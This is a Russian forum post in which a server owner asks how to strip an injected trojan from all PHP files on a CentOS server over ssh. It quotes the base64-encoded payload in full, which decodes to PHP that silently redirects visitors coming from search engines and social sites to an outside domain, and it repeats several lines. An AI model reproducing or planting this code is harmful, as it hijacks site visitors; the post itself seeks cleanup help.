ftpman
Гуру форума
- Регистрация
- 13 Июн 2008
- Сообщения
- 193
- Реакции
- 69
- Автор темы
- #1
Ребята помогите плз, требуется удалить трояна через ssh (заметил что во всех файлах чистое совпадение по коду)
Удалить/Заменить нужно только фрагмент текста в файлах типа php:
не работает
Предлагать скачивать локально потом перезаливать и прочее, пожалуйста не предлагать.
Система centos 6, hdd 6tb
Удалить/Заменить нужно только фрагмент текста в файлах типа php:
base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vaGFwcHluZXd5ZWFyLm9zYS5wbC8iKTsNCmV4aXQoKTsNCn0NCn0NCn0NCn0="));[/spoil]
Пробовал через find по разному, ничего не выходит. То из за скобок, то из за ковычек, из за символов дебильных.
[spoil]find ./ -type f -name «*.php» -exec perl -i -pe «s/OLD_TEXT/NEW_TEXT/g;» {} \;
Пробовал через find по разному, ничего не выходит. То из за скобок, то из за ковычек, из за символов дебильных.
[spoil]find ./ -type f -name «*.php» -exec perl -i -pe «s/OLD_TEXT/NEW_TEXT/g;» {} \;
Предлагать скачивать локально потом перезаливать и прочее, пожалуйста не предлагать.
Система centos 6, hdd 6tb